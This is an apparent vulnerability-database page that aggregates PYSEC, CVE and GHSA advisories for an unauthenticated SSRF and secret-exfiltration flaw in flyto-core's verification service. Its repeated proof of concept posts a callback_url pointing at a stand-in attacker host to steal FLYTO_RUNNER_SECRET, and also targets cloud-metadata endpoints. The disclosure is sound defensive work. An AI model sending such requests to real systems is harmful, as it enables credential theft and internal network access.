Vulnerability-Lookup

PYSEC-2026-3571

Vulnerability from pysec - Published: 2026-08-04 11:34 - Updated: 2026-08-04 13:36

Details

Summary

The standalone flyto-verification service exposes POST /run with no authentication, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's callback_url is used verbatim for an outbound POST that unconditionally attaches X-Internal-Key: $FLYTO_RUNNER_SECRET. The callback_url bypasses the service's target_allowed allowlist (which only inspects params.target_url) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host — allowing forged authenticated callbacks to the real engine.

Root Cause

src/core/verification_service.py:363-364 — /run has no Depends/auth dependency.
resolve_callback_url returns the client callback_url verbatim (:315-316).
post_callback attaches X-Internal-Key: $FLYTO_RUNNER_SECRET whenever the env var is set (:327-335).
target_allowed only gates params.target_url (:259), never callback_url. No validate_url_* anywhere in the file.
Dockerfile.verification CMD = main('0.0.0.0', 8344); entrypoint flyto-verification in pyproject.toml:107 → the shipped image binds all interfaces by default.

Impact

Unauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of FLYTO_RUNNER_SECRET to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).

Proof of Concept

Code-proven this session (all lines confirmed on v2.26.6):

POST http://<verification-host>:8344/run
{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}
# -> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET>
# Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body.

Attack Chain

Entry: unauthenticated POST http://<host>:8344/run with callback_url:"http://attacker.tld/collect". Guard: auth on /run. Bypass proof: no Depends(require_auth) (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.
Check: target_allowed scope (:259). Bypass proof: only inspects params.target_url; callback_url is never passed through extract_host/target_allowed.
Check: SSRF validation on callback_url. Bypass proof: file has ZERO validate_url references.
Sink: post_callback → session.post(callback_url, json=payload, headers={"X-Internal-Key": FLYTO_RUNNER_SECRET}) (:330-335); header attached unconditionally when the env var is set (:327-329).
Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET → replay to authenticate to the real engine callback endpoint.

Bypass Evidence

/run has no auth dependency (grep-confirmed); resolve_callback_url returns the client value verbatim; X-Internal-Key attached unconditionally; target_allowed gates only params.target_url; no validate_url_* in the file; shipped Dockerfile binds all interfaces.

Affected Versions

<= 2.26.6 — verification_service.py, pyproject.toml:107 entrypoint, and Dockerfile.verification present on latest release tag.

Suggested Fix

Add authentication to /run; run callback_url through the SSRF guard + host allowlist before attaching any internal header; do not attach X-Internal-Key to non-allowlisted destinations; bind the service to loopback by default.

Credit

Vulnerability discovered by zx (Jace).

Severity

9.3 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Impacted products

Name	purl
flyto-core	pkg:pypi/flyto-core

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flyto-core",
        "purl": "pkg:pypi/flyto-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "1.0.3",
        "1.0.4",
        "1.0.5",
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  ],
  "aliases": [
    "CVE-2026-67426",
    "GHSA-jx74-cqjv-2c67"
  ],
  "details": "## Summary\nThe standalone `flyto-verification` service exposes `POST /run` with **no authentication**, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body\u0027s `callback_url` is used verbatim for an outbound POST that **unconditionally attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET`**. The `callback_url` bypasses the service\u0027s `target_allowed` allowlist (which only inspects `params.target_url`) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host \u2014 allowing forged authenticated callbacks to the real engine.\n\n## Root Cause\n- `src/core/verification_service.py:363-364` \u2014 `/run` has no `Depends`/auth dependency.\n- `resolve_callback_url` returns the client `callback_url` verbatim (`:315-316`).\n- `post_callback` attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET` whenever the env var is set (`:327-335`).\n- `target_allowed` only gates `params.target_url` (`:259`), never `callback_url`. No `validate_url_*` anywhere in the file.\n- `Dockerfile.verification` CMD = `main(\u00270.0.0.0\u0027, 8344)`; entrypoint `flyto-verification` in `pyproject.toml:107` \u2192 the shipped image binds all interfaces by default.\n\n## Impact\nUnauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of `FLYTO_RUNNER_SECRET` to an attacker host \u2192 the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).\n\n## Proof of Concept\nCode-proven this session (all lines confirmed on v2.26.6):\n```\nPOST http://\u003cverification-host\u003e:8344/run\n{\"workflowYaml\":\"...\",\"params\":{...},\"callback_url\":\"http://attacker.tld/collect\"}\n# -\u003e service POSTs to attacker.tld with header X-Internal-Key: \u003cFLYTO_RUNNER_SECRET\u003e\n# Or callback_url=http://\u003ccloud-metadata-ip\u003e/... for internal SSRF with a controlled body.\n```\n\n## Attack Chain\n1. Entry: unauthenticated `POST http://\u003chost\u003e:8344/run` with `callback_url:\"http://attacker.tld/collect\"`. Guard: auth on `/run`. Bypass proof: no `Depends(require_auth)` (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.\n2. Check: `target_allowed` scope (:259). Bypass proof: only inspects `params.target_url`; `callback_url` is never passed through `extract_host`/`target_allowed`.\n3. Check: SSRF validation on `callback_url`. Bypass proof: file has ZERO `validate_url` references.\n4. Sink: `post_callback` \u2192 `session.post(callback_url, json=payload, headers={\"X-Internal-Key\": FLYTO_RUNNER_SECRET})` (:330-335); header attached unconditionally when the env var is set (:327-329).\n5. Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET \u2192 replay to authenticate to the real engine callback endpoint.\n\n## Bypass Evidence\n`/run` has no auth dependency (grep-confirmed); `resolve_callback_url` returns the client value verbatim; `X-Internal-Key` attached unconditionally; `target_allowed` gates only `params.target_url`; no `validate_url_*` in the file; shipped Dockerfile binds all interfaces.\n\n## Affected Versions\n`\u003c= 2.26.6` \u2014 `verification_service.py`, `pyproject.toml:107` entrypoint, and `Dockerfile.verification` present on latest release tag.\n\n## Suggested Fix\nAdd authentication to `/run`; run `callback_url` through the SSRF guard + host allowlist before attaching any internal header; do not attach `X-Internal-Key` to non-allowlisted destinations; bind the service to loopback by default.\n\n## Credit\n\nVulnerability discovered by zx (Jace).",
  "id": "PYSEC-2026-3571",
  "modified": "2026-08-04T13:36:18.651686Z",
  "published": "2026-08-04T11:34:45.572992Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-jx74-cqjv-2c67"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/commit/0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flytohub/flyto-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.7"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/flyto-core"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-jx74-cqjv-2c67"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration"
}

CVE-2026-67426 (GCVE-0-2026-67426)

Vulnerability from cvelistv5 – Published: 2026-07-29 18:43 – Updated: 2026-07-29 19:05

Title

Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration

Summary

Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.7, the standalone flyto-verification service in src/core/verification_service.py exposes unauthenticated POST /run on 0.0.0.0:8344 and uses client-supplied callback_url for an outbound POST with X-Internal-Key: $FLYTO_RUNNER_SECRET while bypassing target_allowed, allowing unauthenticated SSRF and runner secret exfiltration. This issue is fixed in version 2.26.7.

Severity

9.3 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-29 19:04 UTC

CWE

CWE-306 - Missing Authentication for Critical Function
CWE-522 - Insufficiently Protected Credentials
CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/flytohub/flyto-core/security/a…	x_refsource_CONFIRM
https://github.com/flytohub/flyto-core/commit/0a0…	x_refsource_MISC
https://github.com/flytohub/flyto-core/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
flytohub	flyto-core	Affected: < 2.26.7

Show details on NVD website

JSON

To clipboard

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                "id": "CVE-2026-67426",
                "options": [
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                    "Exploitation": "poc"
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                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
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                "role": "CISA Coordinator",
                "timestamp": "2026-07-29T19:04:58.621879Z",
                "version": "2.0.3"
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    ],
    "cna": {
      "affected": [
        {
          "product": "flyto-core",
          "vendor": "flytohub",
          "versions": [
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              "version": "\u003c 2.26.7"
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          "lang": "en",
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          "cvssV3_1": {
            "attackComplexity": "LOW",
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            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
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    "dateReserved": "2026-07-29T15:02:20.413Z",
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  },
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}

GHSA-JX74-CQJV-2C67

Vulnerability from github – Published: 2026-07-30 14:47 – Updated: 2026-08-10 14:59

Summary

Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration

Details

Summary

Root Cause

src/core/verification_service.py:363-364 — /run has no Depends/auth dependency.
resolve_callback_url returns the client callback_url verbatim (:315-316).
post_callback attaches X-Internal-Key: $FLYTO_RUNNER_SECRET whenever the env var is set (:327-335).
target_allowed only gates params.target_url (:259), never callback_url. No validate_url_* anywhere in the file.
Dockerfile.verification CMD = main('0.0.0.0', 8344); entrypoint flyto-verification in pyproject.toml:107 → the shipped image binds all interfaces by default.

Impact

Proof of Concept

Code-proven this session (all lines confirmed on v2.26.6):

POST http://<verification-host>:8344/run
{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}
# -> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET>
# Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body.

Attack Chain

Entry: unauthenticated POST http://<host>:8344/run with callback_url:"http://attacker.tld/collect". Guard: auth on /run. Bypass proof: no Depends(require_auth) (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.
Check: target_allowed scope (:259). Bypass proof: only inspects params.target_url; callback_url is never passed through extract_host/target_allowed.
Check: SSRF validation on callback_url. Bypass proof: file has ZERO validate_url references.
Sink: post_callback → session.post(callback_url, json=payload, headers={"X-Internal-Key": FLYTO_RUNNER_SECRET}) (:330-335); header attached unconditionally when the env var is set (:327-329).
Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET → replay to authenticate to the real engine callback endpoint.

Bypass Evidence

Affected Versions

<= 2.26.6 — verification_service.py, pyproject.toml:107 entrypoint, and Dockerfile.verification present on latest release tag.

Suggested Fix

Credit

Vulnerability discovered by zx (Jace).

Severity

9.3 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flyto-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.26.6"
            },
            {
              "fixed": "2.26.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-522",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:47:41Z",
    "nvd_published_at": "2026-07-29T19:16:51Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nThe standalone `flyto-verification` service exposes `POST /run` with **no authentication**, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body\u0027s `callback_url` is used verbatim for an outbound POST that **unconditionally attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET`**. The `callback_url` bypasses the service\u0027s `target_allowed` allowlist (which only inspects `params.target_url`) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host \u2014 allowing forged authenticated callbacks to the real engine.\n\n## Root Cause\n- `src/core/verification_service.py:363-364` \u2014 `/run` has no `Depends`/auth dependency.\n- `resolve_callback_url` returns the client `callback_url` verbatim (`:315-316`).\n- `post_callback` attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET` whenever the env var is set (`:327-335`).\n- `target_allowed` only gates `params.target_url` (`:259`), never `callback_url`. No `validate_url_*` anywhere in the file.\n- `Dockerfile.verification` CMD = `main(\u00270.0.0.0\u0027, 8344)`; entrypoint `flyto-verification` in `pyproject.toml:107` \u2192 the shipped image binds all interfaces by default.\n\n## Impact\nUnauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of `FLYTO_RUNNER_SECRET` to an attacker host \u2192 the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).\n\n## Proof of Concept\nCode-proven this session (all lines confirmed on v2.26.6):\n```\nPOST http://\u003cverification-host\u003e:8344/run\n{\"workflowYaml\":\"...\",\"params\":{...},\"callback_url\":\"http://attacker.tld/collect\"}\n# -\u003e service POSTs to attacker.tld with header X-Internal-Key: \u003cFLYTO_RUNNER_SECRET\u003e\n# Or callback_url=http://\u003ccloud-metadata-ip\u003e/... for internal SSRF with a controlled body.\n```\n\n## Attack Chain\n1. Entry: unauthenticated `POST http://\u003chost\u003e:8344/run` with `callback_url:\"http://attacker.tld/collect\"`. Guard: auth on `/run`. Bypass proof: no `Depends(require_auth)` (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.\n2. Check: `target_allowed` scope (:259). Bypass proof: only inspects `params.target_url`; `callback_url` is never passed through `extract_host`/`target_allowed`.\n3. Check: SSRF validation on `callback_url`. Bypass proof: file has ZERO `validate_url` references.\n4. Sink: `post_callback` \u2192 `session.post(callback_url, json=payload, headers={\"X-Internal-Key\": FLYTO_RUNNER_SECRET})` (:330-335); header attached unconditionally when the env var is set (:327-329).\n5. Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET \u2192 replay to authenticate to the real engine callback endpoint.\n\n## Bypass Evidence\n`/run` has no auth dependency (grep-confirmed); `resolve_callback_url` returns the client value verbatim; `X-Internal-Key` attached unconditionally; `target_allowed` gates only `params.target_url`; no `validate_url_*` in the file; shipped Dockerfile binds all interfaces.\n\n## Affected Versions\n`\u003c= 2.26.6` \u2014 `verification_service.py`, `pyproject.toml:107` entrypoint, and `Dockerfile.verification` present on latest release tag.\n\n## Suggested Fix\nAdd authentication to `/run`; run `callback_url` through the SSRF guard + host allowlist before attaching any internal header; do not attach `X-Internal-Key` to non-allowlisted destinations; bind the service to loopback by default.\n\n## Credit\n\nVulnerability discovered by zx (Jace).",
  "id": "GHSA-jx74-cqjv-2c67",
  "modified": "2026-08-10T14:59:58Z",
  "published": "2026-07-30T14:47:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-jx74-cqjv-2c67"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/commit/0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flytohub/flyto-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/flyto-core/PYSEC-2026-3571.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration"
}

Sightings

Author	Source	Type	Date	Other

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Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

PYSEC-2026-3571

Summary

Root Cause

Impact

Proof of Concept

Attack Chain

Bypass Evidence

Affected Versions

Suggested Fix

Credit

CVE-2026-67426 (GCVE-0-2026-67426)

GHSA-JX74-CQJV-2C67

Summary

Root Cause

Impact

Proof of Concept

Attack Chain

Bypass Evidence

Affected Versions

Suggested Fix

Credit

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